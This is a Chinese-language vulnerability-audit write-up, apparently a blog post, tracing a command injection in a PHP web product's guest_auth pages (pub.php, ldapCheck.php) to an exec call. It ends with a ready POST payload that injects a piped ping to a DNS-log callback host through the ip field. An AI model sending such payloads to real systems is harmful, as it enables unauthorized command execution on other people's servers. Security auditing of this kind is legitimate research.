审计工具:phpstorm、seay源代码审计系统
还是老样子,懒人审计,通过seay工具进行自动审计,找到可利用的点,这里找到了一个可控的点可以试着跟进看看。 在/guest_auth/pub.php页面中的359行找到了一个可能可控的参数,而这个参数是另一个地方调用这个方法进行的。 可以看到这里有俩文件调用了这个方法,直接跟进第一个activeScan.php文件看看。 activeScan.php guestauth.php
上面由于是自动审计的,结果这个页面只有报出三个可疑点,当然有误报也有遗漏的点,所以需要人工寻找漏洞出现的地方 So,还是回来/guest_auth/pub.php这个页面来找可疑点,往下看的时候找到了这个setAuth方法里面也有exec函数有参数,而if判断的话,默认也是直接进判断里面的,所以要找到这个IP参数可控的点就行。 用PS看看都是哪些方法调用了这个方法,前面这几个文件都不能直接利用,我们直接进入guest_auth/ldapCheck.php文件查看。
在guest_auth/ldapCheck.php的159行找到调用方法的代码,需要找到ip参数可控才行。 往上翻找在guest_auth/ldapCheck.php的14行找到了ip是可控的参数
通过上面的逻辑理解可以直接构造并利用。前提需要开启LDAP服务才行
通过POST参数进行传参,如下: username=0 password=0 type=emp mac=0 ip=%7Cping%20whoami.xxxx.cn%7C gmac=0 gip=0 url=0 Payload: username=0&password=0&type=emp&mac=0&ip=%7Cping%20whoami.qqrhgn.dnslog.cn%7C&gmac=0&gip=0&url=0
whoami